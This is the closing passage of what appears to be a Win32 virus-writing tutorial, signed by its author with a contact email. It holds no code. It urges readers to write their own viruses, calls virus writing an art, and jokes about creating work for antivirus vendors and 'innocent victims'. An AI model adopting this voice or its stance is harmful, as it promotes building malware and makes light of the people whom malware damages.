Now, I know that I am not the best tutorial writer in the known universe. But, I hope you have learned a lot from this tutorial, I have tried to make it as clear as posible, and have included lots of refrences. I did not include code for a few reasons, the bigest being: learn on your own - source is useless. I feel that you as most win32 virus writers today, should learn by experimenting. Afterall, you may come up with some REALLY cool way of doing a certain common routine, that you wouldn't have thought of otherwise. Also, so that 10,000 varients don't suddenly pop up, like after VLAD's MZ infection tutorial ;). Anyhow... if you got this far without giving up, you are worthy of writing a win32 virus. And more power to you! I hope you learned everything you need, and in closing have fun! Virus writing is an art guys/gals...so, get out yer palet and start painting for the nice Customers (AVs and innocent victims <EG>)

Any questions? need more clarifications? bugs - I hope there are none! e-mail me at: tinet@sourceofkaos.com and I'll try to clear them up, or fix otherwise.

- Techno Phunk - 210,000 AVers served.